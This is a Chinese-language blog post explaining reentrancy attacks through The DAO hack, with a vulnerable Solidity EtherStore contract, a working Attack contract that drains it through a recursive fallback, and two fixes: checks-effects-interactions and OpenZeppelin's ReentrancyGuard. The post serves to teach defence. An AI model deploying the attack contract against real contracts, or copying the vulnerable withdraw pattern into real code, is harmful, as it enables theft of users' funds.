The DAO 黑客事件的元凶:“重入攻击”

  • zero
  • 发布于 12小时前
  • 阅读 91

2016年,一个名为「TheDAO」的项目,在万众瞩目下募得了当时价值1.5亿美元的以太币,占了当时以太币总量的14%。然而,短短几周内,一名黑客利用一个致命的程序漏洞,将其中三分之一的资金席卷一空。这起事件不仅震惊了整个社区,更直接导致了以太坊的硬分叉,分裂成我们今天熟知的以太坊(ETH)和以

2016年,一个名为「The DAO」的项目,在万众瞩目下募得了当时价值1.5亿美元的以太币,占了当时以太币总量的14%。然而,短短几周内,一名黑客利用一个致命的程序漏洞,将其中三分之一的资金席卷一空。

这起事件不仅震惊了整个社区,更直接导致了以太坊的硬分叉,分裂成我们今天熟知的以太坊(ETH)和以太坊经典(ETC)。

而这一切的元凶,就是我们今天要深入探讨的,智能合约的头号公敌——「重入攻击」(Reentrancy Attack)

攻击原理:一步步拆解 ATM 盗领案

要理解重入攻击,我们可以把它想象成一个设计有缺陷的 ATM 提款流程。

想象一下你去 ATM 提款。你插入卡片,输入金额1000元。ATM 开始数钱,但在钱还没吐出来、你的账户余额也还没被扣除的那个瞬间,你用黑客技术让 ATM「重新」执行一次「提款1000元」的指令。ATM 再次检查你的余额,发现钱还够,于是又数了一次钱...

这个过程不断「重入」,直到你把 ATM 的现金提领一空,而你的银行账户,自始至终只会被扣一次款。

在智能合约的世界里,这个「黑客技术」就是利用合约间的外部调用来达成的。

让我们来看一个有漏洞的资金存储合约 EtherStore

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

Solidity

<!---->

<!---->

<!---->

<!---->

<!---->

// 警告:这是一个有严重漏洞的合约!
contract EtherStore {
    mapping(address => uint) public balances;

    // ... 省略存款等其他函数 ...

    function withdraw(uint _amount) public {
        // 1. 检查余额是否足够
        require(balances[msg.sender] >= _amount);

        // 2. 转账给调用者 (问题所在!)
        (bool sent, ) = msg.sender.call{value: _amount}("");
        require(sent, "Failed to send Ether");

        // 3. 更新账户余额
        balances[msg.sender] -= _amount;
    }
}

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

接着,黑客部署了他的攻击合约 Attack

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

Solidity

<!---->

<!---->

<!---->

<!---->

<!---->

import "./EtherStore.sol";

contract Attack {
    EtherStore public etherStore;

    constructor(address _etherStoreAddress) {
        etherStore = EtherStore(_etherStoreAddress);
    }

    // fallback 函数是关键,当合约收到以太币时会被触发
    fallback() external payable {
        // 只要 EtherStore 合约的余额还大于1 ETH,就继续调用它的 withdraw 函数
        if (address(etherStore).balance >= 1 ether) {
            etherStore.withdraw(1 ether);
        }
    }

    function attack() external payable {
        etherStore.deposit{value: 1 ether}(); // 先存入 1 ETH
        etherStore.withdraw(1 ether);          // 发起第一次提款
    }
}

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

攻击流程如下:

  1. 黑客调用 Attack.attack(),存入 1 ETH 到 EtherStore,然后立刻要求提领这 1 ETH。
  2. EtherStore.withdraw() 开始执行。它检查黑客的余额(1 ETH),检查通过。
  3. EtherStore 执行 msg.sender.call{value: 1 ether}(""),试图将 1 ETH 还给黑客的 Attack 合约。
  4. 关键点:当 Attack 合约收到这笔以太币时,它的 fallback() 函数被触发了。
  5. fallback() 函数中,黑客**再一次(重入)**调用了 EtherStore.withdraw(),要求再提领 1 ETH。
  6. 致命漏洞:因为 EtherStore 的代码还没执行到第3步(更新余额),所以它账上的记录依然是「黑客还有 1 ETH」。因此,第二次的余额检查再次通过
  7. EtherStore 又一次尝试发送 1 ETH 给黑客,这又触发了黑客的 fallback(),形成一个无限循环,直到 EtherStore 合约的资金被掏空为止。

如何防御这个“程序中的幽灵”?

幸运的是,防御重入攻击的方法相当明确,主要有两种策略。

第一招:黄金法则 ——“检查-生效-互动”模式 (Checks-Effects-Interactions)

这是最根本、也最应该被内化为开发习惯的模式。它的核心思想是调整代码的执行顺序

一个安全的函数应该遵循以下流程:

  1. 检查 (Checks):先验证所有前提条件(例如,余额是否足够)。
  2. 生效 (Effects):立刻更新合约的内部状态(例如,扣除账户余额)。
  3. 互动 (Interactions):最后才与外部合约进行互动(例如,转账)。

让我们用这个模式来修复 EtherStore

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

Solidity

<!---->

<!---->

<!---->

<!---->

<!---->

// 安全的版本
contract EtherStore {
    mapping(address => uint) public balances;

    function withdraw(uint _amount) public {
        // 1. 检查 (Checks)
        require(balances[msg.sender] >= _amount);

        // 2. 生效 (Effects) - 先更新内部状态!
        balances[msg.sender] -= _amount;

        // 3. 互动 (Interactions) - 最后才进行外部调用
        (bool sent, ) = msg.sender.call{value: _amount}("");
        require(sent, "Failed to send Ether");
    }
}

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

在这个安全版本中,当黑客第一次调用 withdraw 时,合约会立刻将其余额设为0。因此,当黑客试图从 fallback() 函数重入时,第一步的 require 检查就会因为余额不足而失败,从而阻断了攻击。

第二招:挂上“请勿打扰”的牌子 —— 重入锁 (Reentrancy Guard)

另一种非常有效的方法是使用「互斥锁」(Mutex),在函数执行期间,不允许同一个函数被再次进入。

你可以自己写一个简单的锁,但业界的标准作法是使用经过审计和社区考验的库,例如 OpenZeppelinReentrancyGuard

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

Solidity

<!---->

<!---->

<!---->

<!---->

<!---->

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

// 使用 OpenZeppelin 的 ReentrancyGuard
contract EtherStore is ReentrancyGuard {
    mapping(address => uint) public balances;

    // 只需要加上 nonReentrant 修饰符
    function withdraw(uint _amount) public nonReentrant {
        require(balances[msg.sender] >= _amount);

        (bool sent, ) = msg.sender.call{value: _amount}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] -= _amount;
    }
}

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

<!---->

nonReentrant 这个修饰符会在函数开始时「上锁」,在函数结束时「解锁」。如果黑客在函数尚未结束时就试图重入,修饰符会发现「门是锁着的」,并立即让交易失败,这是一种非常简洁且强大的保护机制。

结语

重入攻击是智能合约安全领域最经典的案例,The DAO 事件的惨痛教训,至今仍然是所有区块链开发者的警钟。

代码的顺序,决定了资产的生死。将「检查-生效-互动」模式刻在脑海里,并善用 ReentrancyGuard 这样的安全工具。

点赞 0
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
zero
zero
江湖只有他的大名,没有他的介绍。